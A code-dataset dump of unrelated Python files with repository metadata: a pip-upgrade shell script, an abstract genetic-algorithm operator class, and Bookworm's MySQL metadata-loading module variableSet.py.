eac468dad9691c91dffb6abb70d8d6fdcf16423a
206
py
Python
linux/.local/scripts/update_pip_pkgs.py
rodrigoestevao/configuration-files
b2517da7654005db1884973d7ced2cb1cc72feac
[ "MIT" ]
null
null
null
linux/.local/scripts/update_pip_pkgs.py
rodrigoestevao/configuration-files
b2517da7654005db1884973d7ced2cb1cc72feac
[ "MIT" ]
null
null
null
linux/.local/scripts/update_pip_pkgs.py
rodrigoestevao/configuration-files
b2517da7654005db1884973d7ced2cb1cc72feac
[ "MIT" ]
null
null
null
import pkg_resources from subprocess import call packages = [dist.project_name for dist in pkg_resources.working_set] call( f"pip install --upgrade --no-cache-dir {' '.join(packages)}", shell=True )
20.6
76
0.742718
30
206
4.966667
0.8
0.161074
0
0
0
0
0
0
0
0
0
0
0.140777
206
9
77
22.888889
0.841808
0
0
0
0
0
0.276699
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
eac49b50576a3ac373bc861cf088d4e821e40708
385
py
Python
yaga_ga/evolutionary_algorithm/operators/single_individual/base.py
alessandrolenzi/yaga
872503ad04a2831135143750bc309188e5685284
[ "MIT" ]
null
null
null
yaga_ga/evolutionary_algorithm/operators/single_individual/base.py
alessandrolenzi/yaga
872503ad04a2831135143750bc309188e5685284
[ "MIT" ]
null
null
null
yaga_ga/evolutionary_algorithm/operators/single_individual/base.py
alessandrolenzi/yaga
872503ad04a2831135143750bc309188e5685284
[ "MIT" ]
null
null
null
from abc import abstractmethod from typing import TypeVar from yaga_ga.evolutionary_algorithm.operators.base import GeneticOperator IndividualType = TypeVar("IndividualType") GeneType = TypeVar("GeneType") class SingleIndividualOperator(GeneticOperator[IndividualType, GeneType]): @abstractmethod def __call__(self, _parent1: IndividualType) -> IndividualType: ...
27.5
74
0.794805
35
385
8.542857
0.6
0.19398
0
0
0
0
0
0
0
0
0
0.002976
0.127273
385
13
75
29.615385
0.886905
0
0
0
0
0
0.057143
0
0
0
0
0
0
1
0.111111
false
0
0.333333
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
eac64b9c80cf64eae73e29632228de6d1a1f6dce
36,295
py
Python
bookworm/variableSet.py
organisciak/HTRC-BookwormDB
bc24080d6443f8da38255e19149431c9e5b182ab
[ "MIT" ]
null
null
null
bookworm/variableSet.py
organisciak/HTRC-BookwormDB
bc24080d6443f8da38255e19149431c9e5b182ab
[ "MIT" ]
null
null
null
bookworm/variableSet.py
organisciak/HTRC-BookwormDB
bc24080d6443f8da38255e19149431c9e5b182ab
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- import warnings import json import os import decimal import re from MySQLdb import escape_string def to_unicode(obj, encoding='utf-8'): if isinstance(obj, basestring): if not isinstance(obj, unicode): obj = unicode(obj, encoding) if isinstance(obj, int) or isinstance(obj, float) or isinstance(obj, decimal.Decimal): obj = unicode(str(obj), encoding) return obj def splitMySQLcode(string): """ MySQL code can only be executed one command at a time, and fails if it has any empty slots So as a convenience wrapper, I'm just splitting it and returning an array. """ try: output = ['%s;\n' % query for query in string.split(';') if re.search(r"\w", query)] except AttributeError: #Occurs when the field is completely empty output = [] return output class textids(dict): """ This class is a dictionary that maps file-locations (which can be many characters long) to bookids (which are 3-byte integers). It's critically important to keep the already-existing data valid; so it doesn't overwrite the old stuff, instead it makes sure this python dictionary is always aligned with the text files on disk. As a result, additions to it always have to be made through the 'bump' method rather than ordinary assignment (since I, Ben, didn't know how to reset the default hash assignment to include this): and it has to be closed at the end to ensure the file is up-to-date at the end. Create a dictionary, and initialize it with all the bookids we already have. And make it so that any new entries are also written to disk, so that they are kept permanently. """ def __init__(self): try: subprocess.call(['mkdir','files/texts/textids']) except: pass filelists = os.listdir("files/texts/textids") numbers = [0] for filelist in filelists: for line in open("files/texts/textids/%s" % filelist): parts = line.replace('\n', '').split("\t") self[parts[1]] = int(parts[0]) numbers.append(int(parts[0])) self.new = open('files/texts/textids/new', 'a') self.max = max(numbers) def bump(self,newFileName): self.max = self.max + 1 writing = self.new writing.write('%s\t%s\n' % (str(self.max), newFileName.encode('utf-8'))) self[newFileName] = self.max return self.max def close(self): self.new.close() def guessBasedOnNameAndContents(metadataname,dictionary): """ This makes a guess based on the data field's name and type. CUrrently it assumes everything is categorical; that can really chunk out on some text fields, but works much better for importing csvs. Probably we want to take some other things into account as well. """ description = {"field":metadataname,"datatype":"categorical","type":"character","unique":True} example = dictionary.keys()[0] if type(example)==int: description["type"] = "integer" if type(example)==list: unique(example)==False if metadataname == "searchstring": return {"datatype": "searchstring", "field": "searchstring", "unique": True, "type": "text"} if re.search("date",metadataname) or re.search("time",metadataname): description["datatype"] = "time" values = [dictionary[key] for key in dictionary] averageNumberOfEntries = sum(values)/len(values) maxEntries = max(values) if averageNumberOfEntries > 2: description["datatype"] = "categorical" return description class dataField: """ This define a class that supports a data field from a json definition. We'll use this to spit out appropriate sql code and JSON where needed. The 'definition' here means the user-generated array (submitted in json but parsed out before this) described in the Bookworm interface. This knows whether it's unique, whether it should treat itself as a date, etc. The complicated bits are about allowing fast lookups for arbitrary-length character lookups: for a variable like "country," it will also create the new field "country__id" and the table "countryLookup" to allow faster joins on the main database """ def __init__(self, definition, dbToPutIn, anchorType="MEDIUMINT UNSIGNED", anchor="bookid",table="catalog",fasttab="fastcat"): #anchorType should be derived from somewhere. self.anchorType = anchorType self.anchor = anchor for key in definition.iterkeys(): vars(self)[key] = definition[key] self.dbToPutIn = dbToPutIn #ordinarily, a column has no alias other than itself. self.alias = self.field self.status = "hidden" #The table it's stored in will be either 'catalog', or a new #table named after the variable. For now, at least. (later the anchor should get used). self.fastField = self.field self.finalTable = fasttab if self.datatype == "categorical": self.type = "character" #This will catch a common sort of mistake (calling it text), #but also coerce any categorical data to have fewer than 255 characters. #This is worth it b/c a more than 255-character field will take *forever* to build. self.fastField = "%s__id" % self.field self.alias = self.fastField #If it's a categorical variable, it will be found in a lookup table. self.finalTable = self.field + "Lookup" self.status = "public" if self.datatype == "time": self.status = "public" if self.unique: self.table = table self.fasttab = fasttab else: self.table = self.field + "Disk" self.fasttab = self.field + "heap" self.outputloc = "files/metadata/%s.txt" % self.field def slowSQL(self, withIndex=False): """ This returns something like "author VARCHAR(255)", a small definition string with an index, potentially. """ mysqltypes = { "character": "VARCHAR(255)", "integer": "INT", "text": "VARCHAR(5000)", "decimal": "DECIMAL (9,4)" } # Indexing both the field and against the anchor for fast memory table creation. indexstring = ", INDEX (%(field)s), INDEX (%(anchor)s, %(field)s " % self.__dict__ #need to specify fixed prefix length on text strings: (http://dev.mysql.com/doc/refman/5.0/en/create-index.html) # If it's a text field, we need to curtail the index at 255 characters # or else indexes start timing out or eating up all the memory. indextypes = { "character": "%s)" % indexstring, "integer": "%s)" % indexstring, "text": "%s (255) )" % indexstring, "decimal": "%s)" % indexstring } createstring = " %s %s" % (self.field, mysqltypes[self.type]) if withIndex and self.type != 'text': return '%s%s' % (createstring, indextypes[self.type]) return createstring def fastSQL(self): """ This creates code to go in a memory table: it assumes that the disk tables are already there, and that a connection cursor is active. Memory tables in MySQL don't suppor the VARCHAR (they just take up all 255 characters or whatever); thus, it has to be stored this other way. """ if self.datatype != 'etc': if self.type == "character": self.setIntType() return " %(field)s__id %(intType)s" % self.__dict__ if self.type == "integer": return " %s INT" % self.field if self.type == "decimal": return " %s DECIMAL (9,4) " % self.field else: return None else: return None def buildDiskTable(self,fileLocation="default"): """ Builds a disk table for a nonunique variable. """ db = self.dbToPutIn dfield = self; if fileLocation == "default": fileLocation = "files/metadata/" + dfield.field + ".txt" print "Making a SQL table to hold the data for " + dfield.field q1 = """DROP TABLE IF EXISTS """ + dfield.field + "Disk" db.query(q1) db.query("""CREATE TABLE IF NOT EXISTS """ + dfield.field + """Disk ( """ + self.anchor + " " + self.anchorType + """, """ + dfield.slowSQL(withIndex=True) + """ );""") db.query("ALTER TABLE " + dfield.field + "Disk DISABLE KEYS;") loadcode = """LOAD DATA LOCAL INFILE '""" + fileLocation + """' INTO TABLE """ + dfield.field + """Disk FIELDS ESCAPED BY '';""" db.query(loadcode) #cursor = db.query("""SELECT count(*) FROM """ + dfield.field + """Disk""") db.query("ALTER TABLE " + dfield.field + "Disk ENABLE KEYS") def buildIDTable(self): IDcode = self.buildIdTable() for query in splitMySQLcode(IDcode): self.dbToPutIn.query(query) def buildLookupTable(self): dfield = self; lookupCode = dfield.buildIdTable(); lookupCode = lookupCode + dfield.fastSQLTable() for query in splitMySQLcode(lookupCode): dfield.dbToPutIn.query(query) def fastLookupTableIfNecessary(self, engine="MEMORY"): """ This uses the already-created ID table to create a memory lookup. """ self.engine = engine if self.datatype == 'categorical': self.setIntType() self.maxlength = self.dbToPutIn.query("SELECT MAX(CHAR_LENGTH(%(field)s)) FROM %(field)s__id" % self.__dict__) self.maxlength = self.maxlength.fetchall()[0][0] self.maxlength = max([self.maxlength,1]) return("""DROP TABLE IF EXISTS tmp; CREATE TABLE tmp (%(field)s__id %(intType)s ,PRIMARY KEY (%(field)s__id), %(field)s VARCHAR (%(maxlength)s) ) ENGINE=%(engine)s SELECT %(field)s__id,%(field)s FROM %(field)s__id; DROP TABLE IF EXISTS %(field)sLookup; RENAME TABLE tmp to %(field)sLookup; """ % self.__dict__) return "" def fastSQLTable(self,engine="MEMORY"): #setting engine to another value will create these tables on disk. returnt = "" self.engine = engine if self.unique and self.anchor=="bookid": pass #when it has to be part of a larger set if not self.unique and self.datatype == 'categorical': self.setIntType() returnt = returnt+"""## Creating the memory storage table for %(field)s DROP TABLE IF EXISTS tmp; CREATE TABLE tmp (%(anchor)s %(anchorType)s , INDEX (%(anchor)s),%(field)s__id %(intType)s ) ENGINE=%(engine)s; INSERT INTO tmp SELECT %(anchor)s ,%(field)s__id FROM %(field)s__id JOIN %(field)sDisk USING (%(field)s); DROP TABLE IF EXISTS %(field)sheap; RENAME TABLE tmp TO %(field)sheap; """ % self.__dict__ if self.datatype == 'categorical' and self.unique: pass return returnt def jsonDict(self): """ DEPRECATED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! #This builds a JSON dictionary that can be loaded into outside bookworm in the "options.json" file. It's a bad design decision; newer version just load this directly from the database. """ mydict = dict() #It gets confusingly named: "type" is the key for real name ("time", "categorical" in the json), but also the mysql key ('character','integer') here. That would require renaming code in a couple places. mydict['type'] = self.datatype mydict['dbfield'] = self.field try: mydict['name'] = self.name except: mydict['name'] = self.field if self.datatype == "etc" or self.type == "text": return dict() #(Some things don't go into the fast settings because they'd take too long) if self.datatype == "time": mydict['unit'] = self.field #default to the full min and max date ranges #times may not be zero or negative cursor = self.dbToPutIn.query("SELECT MIN(" + self.field + "), MAX(" + self.field + ") FROM catalog WHERE " + self.field + " > 0 ") results = cursor.fetchall()[0] mydict['range'] = [results[0], results[1]] mydict['initial'] = [results[0], results[1]] if self.datatype == "categorical": mydict['dbfield'] = self.field + "__id" #Find all the variables used more than 20 times from the database, and build them into something json-usable. cursor = self.dbToPutIn.query("SELECT %(field)s, %(field)s__id FROM %(field)s__id WHERE %(field)s__count > 20 ORDER BY %(field)s__id ASC LIMIT 500;" % self.__dict__) sort_order = [] descriptions = dict() for row in cursor.fetchall(): code = row[1] name = row[0] code = to_unicode(code) sort_order.append(code) descriptions[code] = dict() """ These three things all have slightly different meanings: the english name, the database code for that name, and the short display name to show. It would be worth allowing lookup files for these: for now, they are what they are and can be further improved by hand. """ descriptions[code]["dbcode"] = code descriptions[code]["name"] = name descriptions[code]["shortname"] = name mydict["categorical"] = {"descriptions": descriptions, "sort_order": sort_order} return mydict def setIntType(self): try: alreadyExists = self.intType except AttributeError: cursor = self.dbToPutIn.query("SELECT count(DISTINCT "+ self.field + ") FROM " + self.table) self.nCategories = cursor.fetchall()[0][0] self.intType = "INT UNSIGNED" if self.nCategories <= 16777215: self.intType = "MEDIUMINT UNSIGNED" if self.nCategories <= 65535: self.intType = "SMALLINT UNSIGNED" if self.nCategories <= 255: self.intType = "TINYINT UNSIGNED" def buildIdTable(self): """ This builds an integer crosswalk ID table with a field that stores categorical information in the fewest number of bytes. This is important because it can take significant amounts of time to group across categories if they are large: for example, with 4 million newspaper articles, on one server a GROUP BY with a 12-byte VARCHAR field takes 5.5 seconds, but a GROUP BY with a 3-byte MEDIUMINT field corresponding exactly to that takes 2.2 seconds on the exact same data. That sort of query is included in every single bookworm search multiple times, so it's necessary to optimize. Plus, it means we can save space on memory storage in important ways as well. """ #First, figure out how long the ID table has to be and make that into a datatype. #Joins and groups are slower the larger the field grouping on, so this is worth optimizing. self.setIntType() returnt = "DROP TABLE IF EXISTS tmp;\n\n" returnt += "CREATE TABLE tmp ENGINE=MYISAM SELECT %(field)s,count(*) as count FROM %(table)s GROUP BY %(field)s;\n\n" % self.__dict__ returnt += """CREATE TABLE IF NOT EXISTS %(field)s__id ( %(field)s__id %(intType)s PRIMARY KEY AUTO_INCREMENT, %(field)s VARCHAR (255), INDEX (%(field)s), %(field)s__count MEDIUMINT);\n\n""" % self.__dict__ returnt += """INSERT INTO %(field)s__id (%(field)s,%(field)s__count) SELECT %(field)s,count FROM tmp LEFT JOIN %(field)s__id USING (%(field)s) WHERE %(field)s__id.%(field)s__id IS NULL ORDER BY count DESC;\n\n""" % self.__dict__ returnt += """DROP TABLE tmp;\n\n""" self.idCode = "%s__id" % self.field return returnt def updateVariableDescriptionTable(self): self.memoryCode = self.fastLookupTableIfNecessary() code = """INSERT IGNORE INTO masterVariableTable (dbname, name, type, tablename, anchor, alias, status,description) VALUES ('%(field)s','%(field)s','%(type)s','%(finalTable)s','%(anchor)s','%(alias)s','%(status)s','') """ % self.__dict__ self.dbToPutIn.query(code) if not self.unique: code = self.fastSQLTable() try: parentTab = self.dbToPutIn.query(""" SELECT tablename FROM masterVariableTable WHERE dbname='%s'""" % self.fastAnchor).fetchall()[0][0] except: parentTab="fastcat" self.dbToPutIn.query('DELETE FROM masterTableTable WHERE masterTableTable.tablename="%s";' %self.field + "heap") self.dbToPutIn.query("INSERT IGNORE INTO masterTableTable VALUES ('%s','%s','%s')" % (self.field+"heap",parentTab,escape_string(code))) if self.datatype=="categorical": #Variable Info code = """ INSERT IGNORE INTO masterVariableTable (dbname, name, type, tablename, anchor, alias, status,description) VALUES ('%(field)s__id','%(field)s','lookup','%(fasttab)s', '%(anchor)s','%(alias)s','hidden','') """ % self.__dict__ self.dbToPutIn.query(code) #Separate Table Info code = self.fastLookupTableIfNecessary() self.dbToPutIn.query('DELETE FROM masterTableTable WHERE masterTableTable.tablename="%s";' %(self.field + "Lookup")) self.dbToPutIn.query("INSERT IGNORE INTO masterTableTable VALUES ('%s','%s','%s')" % (self.field+"Lookup",self.fasttab,escape_string(code))) mySQLreservedWords = set(["ACCESSIBLE", "ADD", "ALL", "ALTER", "ANALYZE", "AND", "AS", "ASC", "ASENSITIVE", "BEFORE", "BETWEEN", "BIGINT", "BINARY", "BLOB", "BOTH", "BY", "CALL", "CASCADE", "CASE", "CHANGE", "CHAR", "CHARACTER", "CHECK", "COLLATE", "COLUMN", "CONDITION", "CONSTRAINT", "CONTINUE", "CONVERT", "CREATE", "CROSS", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "CURRENT_USER", "CURSOR", "DATABASE", "DATABASES", "DAY_HOUR", "DAY_MICROSECOND", "DAY_MINUTE", "DAY_SECOND", "DEC", "DECIMAL", "DECLARE", "DEFAULT", "DELAYED", "DELETE", "DESC", "DESCRIBE", "DETERMINISTIC", "DISTINCT", "DISTINCTROW", "DIV", "DOUBLE", "DROP", "DUAL", "EACH", "ELSE", "ELSEIF", "ENCLOSED", "ESCAPED", "EXISTS", "EXIT", "EXPLAIN", "FALSE", "FETCH", "FLOAT", "FLOAT4", "FLOAT8", "FOR", "FORCE", "FOREIGN", "FROM", "FULLTEXT", "GENERAL", "GRANT", "GROUP", "HAVING", "HIGH_PRIORITY", "HOUR_MICROSECOND", "HOUR_MINUTE", "HOUR_SECOND", "IF", "IGNORE", "IGNORE_SERVER_IDS", "IN", "INDEX", "INFILE", "INNER", "INOUT", "INSENSITIVE", "INSERT", "INT", "INT1", "INT2", "INT3", "INT4", "INT8", "INTEGER", "INTERVAL", "INTO", "IS", "ITERATE", "JOIN", "KEY", "KEYS", "KILL", "LEADING", "LEAVE", "LEFT", "LIKE", "LIMIT", "LINEAR", "LINES", "LOAD", "LOCALTIME", "LOCALTIMESTAMP", "LOCK", "LONG", "LONGBLOB", "LONGTEXT", "LOOP", "LOW_PRIORITY", "MASTER_HEARTBEAT_PERIOD[c]", "MASTER_SSL_VERIFY_SERVER_CERT", "MATCH", "MAXVALUE", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "MIDDLEINT", "MINUTE_MICROSECOND", "MINUTE_SECOND", "MOD", "MODIFIES", "NATURAL", "NOT", "NO_WRITE_TO_BINLOG", "NULL", "NUMERIC", "ON", "OPTIMIZE", "OPTION", "OPTIONALLY", "OR", "ORDER", "OUT", "OUTER", "OUTFILE", "PRECISION", "PRIMARY", "PROCEDURE", "PURGE", "RANGE", "READ", "READS", "READ_WRITE", "REAL", "REFERENCES", "REGEXP", "RELEASE", "RENAME", "REPEAT", "REPLACE", "REQUIRE", "RESIGNAL", "RESTRICT", "RETURN", "REVOKE", "RIGHT", "RLIKE", "SCHEMA", "SCHEMAS", "SECOND_MICROSECOND", "SELECT", "SENSITIVE", "SEPARATOR", "SET", "SHOW", "SIGNAL", "SLOW[d]", "SMALLINT", "SPATIAL", "SPECIFIC", "SQL", "SQLEXCEPTION", "SQLSTATE", "SQLWARNING", "SQL_BIG_RESULT", "SQL_CALC_FOUND_ROWS", "SQL_SMALL_RESULT", "SSL", "STARTING", "STRAIGHT_JOIN", "TABLE", "TERMINATED", "THEN", "TINYBLOB", "TINYINT", "TINYTEXT", "TO", "TRAILING", "TRIGGER", "TRUE", "UNDO", "UNION", "UNIQUE", "UNLOCK", "UNSIGNED", "UPDATE", "USAGE", "USE", "USING", "UTC_DATE", "UTC_TIME", "UTC_TIMESTAMP", "VALUES", "VARBINARY", "VARCHAR", "VARCHARACTER", "VARYING", "WHEN", "WHERE", "WHILE", "WITH", "WRITE", "XOR", "YEAR_MONTH", "ZEROFILL"]) class variableSet: def __init__(self, originFile="files/metadata/jsoncatalog_derived.txt", anchorField="bookid", jsonDefinition=None, db=None): self.db = db self.dbname = db.dbname self.anchorField = anchorField self.originFile=originFile self.jsonDefinition=jsonDefinition if jsonDefinition==None: #Make a guess, why not? warnings.warn("""No field_descriptions file specified, so guessing based on variable names. Unintended consequences are possible""") self.jsonDefinition=self.guessAtFieldDescriptions() else: self.jsonDefinition = json.loads(open(jsonDefinition,"r").read()) self.setTableNames() self.catalogLocation = "files/metadata/" + self.tableName + ".txt" self.variables = [] for item in self.jsonDefinition: #The anchor field has special methods hard coded in. if item['field'] == self.anchorField: continue if item['field'].upper() in mySQLreservedWords: warnings.warn(item['field'] + """ is a reserved word in MySQL, so can't be used as a Bookworm field name: skipping it for now, but you probably want to rename it to something different""") item['field'] = item['field'] + "___" continue self.variables.append(dataField(item,self.db,anchor=anchorField,table=self.tableName,fasttab=self.fastName)) def setTableNames(self): """ For the base case, they're catalog and fastcat: otherwise, it's just they key and the first variable associated with it. """ if self.originFile == "files/metadata/jsoncatalog_derived.txt": self.tableName = "catalog" self.fastName = "fastcat" else: try: self.tableName = self.jsonDefinition[0]['field'] + "_" + self.jsonDefinition[1]['field'] except IndexError: #if it's only one element long, just name it after the variable itself. self.tableName = self.jsonDefinition[0]['field'] self.fastName = self.tableName + "heap" def guessAtFieldDescriptions(self,stopAfter=30000): allMyKeys = dict() i=1 unique = True for line in open(self.originFile): i += 1 entry = json.loads(line) for key in entry: if type(entry[key])==list: unique=False else: #Treat it for counting sake as a single element list. entry[key] = [entry[key]] for value in entry[key]: try: allMyKeys[key][value] += 1 except KeyError: try: allMyKeys[key][value] = 1 except KeyError: allMyKeys[key] = dict() allMyKeys[key][value] = 1 if i > stopAfter: break myOutput = [] for metadata in allMyKeys: bestGuess = guessBasedOnNameAndContents(metadata,allMyKeys[metadata]) if unique==False: bestGuess['unique'] = False myOutput.append(bestGuess) myOutput = [output for output in myOutput if output["field"] != "filename"] return myOutput def uniques(self): return [variable for variable in self.variables if variable.unique] def notUniques(self): return [variable for variable in self.variables if not variable.unique] def anchorLookupDictionary(self): db = self.db anchor = self.anchorField self.fastAnchor = self.anchorField if anchor=="bookid" or anchor=="filename": self.fastAnchor = "bookid" bookids = textids() for variable in self.variables: variable.anchor=self.fastAnchor else: query = """SELECT alias FROM masterVariableTable WHERE dbname='%s'""" % (anchor) bookids = dict() cursor = db.query("SELECT alias FROM masterVariableTable WHERE dbname = '%s'" % anchor) try: fastAnchor = cursor.fetchall()[0][0] except: if anchor in ["bookid","filename"]: fastAnchor="bookid" print anchor + "\n\n" self.fastAnchor=fastAnchor if fastAnchor != anchor: results = db.query("SELECT * FROM %sLookup;" % (anchor)) for row in results.fetchall(): bookids[row[1]] = row[0] self.anchor=fastAnchor for variable in self.variables: variable.anchor = fastAnchor else: #construct a phony dictionary that just returns what you gave bookids = selfDictionary() return bookids def writeMetadata(self,limit=float("Inf")): #Write out all the metadata into files that MySQL is able to read in. """ This is a general purpose, with a few special cases for the primary use case that this is the "catalog" table that hold the primary lookup information. """ linenum = 1 variables = self.variables bookids = self.anchorLookupDictionary() metadatafile = open(self.originFile) #Open files for writing to catalog = open(self.catalogLocation,'w') for variable in [variable for variable in variables if not variable.unique]: variable.output = open(variable.outputloc, 'w') for entry in metadatafile: try: #entry = to_unicode(entry) #entry = entry.replace('\\n', ' ') entry = json.loads(entry) except: warnings.warn("""WARNING: json parsing failed for this JSON line: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n""" + entry) continue #We always lead with the bookid and the filename. #Unicode characters in filenames may cause problems? if self.anchorField=="bookid": self.anchorField="filename" filename = to_unicode(entry[self.anchorField]) try: bookid = bookids[entry[self.anchorField]] except KeyError: if self.tableName=="catalog": bookid = bookids.bump(entry[self.anchorField]) else: #If the key isn't in the name table, we have no use for this entry. continue mainfields = [str(bookid),to_unicode(entry[self.anchorField])] if self.tableName != "catalog": #It can get problematic to have them both, so we're just writing over the #anchorField here. mainfields = [str(bookid)] #First, pull the unique variables and write them to the 'catalog' table for var in [variable for variable in variables if variable.unique]: if var.field not in [self.anchorField,self.fastAnchor]: myfield = entry.get(var.field, "") if myfield is None: myfield = '' mainfields.append(to_unicode(myfield)) catalogtext = '%s\n' % '\t'.join(mainfields) catalog.write(catalogtext.encode('utf-8')) for variable in [variable for variable in variables if not variable.unique]: #Each of these has a different file it must write to... outfile = variable.output lines = entry.get(variable.field, []) if isinstance(lines, basestring): """ Allow a single element to be represented as a string """ lines = [lines] if lines==None: lines = [] for line in lines: try: writing = '%s\t%s\n' % (str(bookid), line) outfile.write(writing.encode('utf-8')) except: warnings.warn("some sort of error with bookid no. " +str(bookid) + ": " + json.dumps(lines)) pass if linenum > limit: break linenum=linenum+1 for variable in [variable for variable in variables if not variable.unique]: variable.output.close() try: bookids.close() except AttributeError: #When it's a pure dictionary, not the weird textfile hybrid pass catalog.close() def loadMetadata(self): """ Load in the metadata files which have already been created elsewhere. """ #This function is called for the sideffect of assigning a `fastAnchor` field bookwormcodes = self.anchorLookupDictionary() db = self.db print "Making a SQL table to hold the catalog data" if self.tableName=="catalog": """A few necessary basic fields""" mysqlfields = ["bookid MEDIUMINT UNSIGNED, PRIMARY KEY(bookid)", "filename VARCHAR(255)", "nwords INT"] else: mysqlfields = ["%s MEDIUMINT UNSIGNED, PRIMARY KEY (%s)" % (self.fastAnchor,self.fastAnchor)] for variable in self.uniques(): createstring = variable.slowSQL(withIndex=True) mysqlfields.append(createstring) if len(mysqlfields) > 1: #This creates the main (slow) catalog table db.query("""DROP TABLE IF EXISTS %s """ % self.tableName) createcode = """CREATE TABLE IF NOT EXISTS %s ( """ %self.tableName + ",\n".join(mysqlfields) + ") ENGINE=MYISAM;" db.query(createcode) #Never have keys before a LOAD DATA INFILE db.query("ALTER TABLE %s DISABLE KEYS" % self.tableName) print "loading data into %s using LOAD DATA LOCAL INFILE..." % self.tableName anchorFields = self.fastAnchor if self.tableName=="catalog": anchorFields = "bookid,filename" loadEntries = { "catLoc" : self.catalogLocation, "tabName" : self.tableName, "anchorFields" : anchorFields, "loadingFields" : anchorFields+ "," + ','.join([field.field for field in self.variables if field.unique]) } loadEntries['loadingFields'] = loadEntries['loadingFields'].rstrip(',') loadcode = """LOAD DATA LOCAL INFILE '%(catLoc)s' INTO TABLE %(tabName)s FIELDS ESCAPED BY '' (%(loadingFields)s)""" % loadEntries db.query(loadcode) print "enabling keys on %s" %self.tableName db.query("ALTER TABLE %s ENABLE KEYS" % self.tableName) #If there isn't a 'searchstring' field, it may need to be coerced in somewhere hereabouts #This here stores the number of words in between catalog updates, so that the full word counts only have to be done once since they're time consuming. if self.tableName=="catalog": self.createNwordsFile() for variable in self.notUniques(): variable.buildDiskTable() for variable in self.variables: if variable.datatype=="categorical": variable.buildIDTable() def uniqueVariableFastSetup(self): fileCommand = """DROP TABLE IF EXISTS tmp; CREATE TABLE tmp (""" + self.fastAnchor + """ MEDIUMINT, PRIMARY KEY (""" + self.fastAnchor + """), """ +",\n".join([variable.fastSQL() for variable in self.variables if (variable.unique and variable.fastSQL() is not None)]) + """ ) ENGINE=MEMORY;\n""" fileCommand += "INSERT INTO tmp SELECT " + self.fastAnchor + ", " + ",".join([variable.fastField for variable in self.variables if variable.unique and variable.fastSQL() is not None]) + " FROM %s " % self.tableName + " ".join([" JOIN %(field)s__id USING (%(field)s ) " % variable.__dict__ for variable in self.variables if variable.unique and variable.fastSQL() is not None and variable.datatype=="categorical"])+ ";\n" fileCommand += "DROP TABLE IF EXISTS %s;\n" % self.fastName fileCommand += "RENAME TABLE tmp TO %s;\n" % self.fastName return fileCommand def updateMasterVariableTable(self): """ All the categorical variables get a lookup table; we store the create code in the databse; """ for variable in self.variables: variable.updateVariableDescriptionTable(); inCatalog = self.uniques() if len(inCatalog) > 0 and self.tableName!="catalog": #catalog has separate rules handled in CreateDatabase.py; so this builds #the big rectangular table otherwise. #It will fail if masterTableTable doesn't exister. fileCommand = self.uniqueVariableFastSetup() try: parentTab = self.db.query(""" SELECT tablename FROM masterVariableTable WHERE dbname='%s'""" % self.fastAnchor).fetchall()[0][0] except: if self.fastAnchor=="bookid": parentTab="fastcat" else: print("Unable to find a table to join the anchor (%s) against" % self.fastAnchor) raise self.db.query('DELETE FROM masterTableTable WHERE masterTableTable.tablename="%s";' %self.fastName) self.db.query("INSERT IGNORE INTO masterTableTable VALUES ('%s','%s','%s')" % (self.fastName,parentTab,escape_string(fileCommand))) def createNwordsFile(self): """ A necessary supplement to the `catalog` table. """ db = self.db db.query("CREATE TABLE IF NOT EXISTS nwords (bookid MEDIUMINT UNSIGNED, PRIMARY KEY (bookid), nwords INT);") db.query("UPDATE catalog JOIN nwords USING (bookid) SET catalog.nwords = nwords.nwords") db.query("INSERT INTO nwords (bookid,nwords) SELECT catalog.bookid,sum(count) FROM catalog LEFT JOIN nwords USING (bookid) JOIN master_bookcounts USING (bookid) WHERE nwords.bookid IS NULL GROUP BY catalog.bookid") db.query("UPDATE catalog JOIN nwords USING (bookid) SET catalog.nwords = nwords.nwords") class selfDictionary(): """ Stupid little hack. Looks like a dictionary, but just returns itself. Used in cases where we don't actually need the dictionary. """ def __init__(self): pass def __getitem__(self,string): return string
47.819499
2,558
0.582477
4,100
36,295
5.110976
0.205122
0.012312
0.007635
0.008924
0.174565
0.128466
0.114197
0.084705
0.074398
0.061417
0
0.005039
0.300179
36,295
758
2,559
47.882586
0.819961
0.086816
0
0.199211
0
0.017751
0.283862
0.024021
0.001972
0
0
0
0
0
null
null
0.011834
0.011834
null
null
0.011834
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
eacd933360da63672e942fa0e5cf98b6ea63add5
3,180
py
Python
google/cloud/recommender/v1beta1/recommender-v1beta1-py/google/cloud/recommender/__init__.py
googleapis/googleapis-gen
d84824c78563d59b0e58d5664bfaa430e9ad7e7a
[ "Apache-2.0" ]
7
2021-02-21T10:39:41.000Z
2021-12-07T07:31:28.000Z
google/cloud/recommender/v1beta1/recommender-v1beta1-py/google/cloud/recommender/__init__.py
googleapis/googleapis-gen
d84824c78563d59b0e58d5664bfaa430e9ad7e7a
[ "Apache-2.0" ]
6
2021-02-02T23:46:11.000Z
2021-11-15T01:46:02.000Z
google/cloud/recommender/v1beta1/recommender-v1beta1-py/google/cloud/recommender/__init__.py
googleapis/googleapis-gen
d84824c78563d59b0e58d5664bfaa430e9ad7e7a
[ "Apache-2.0" ]
4
2021-01-28T23:25:45.000Z
2021-08-30T01:55:16.000Z
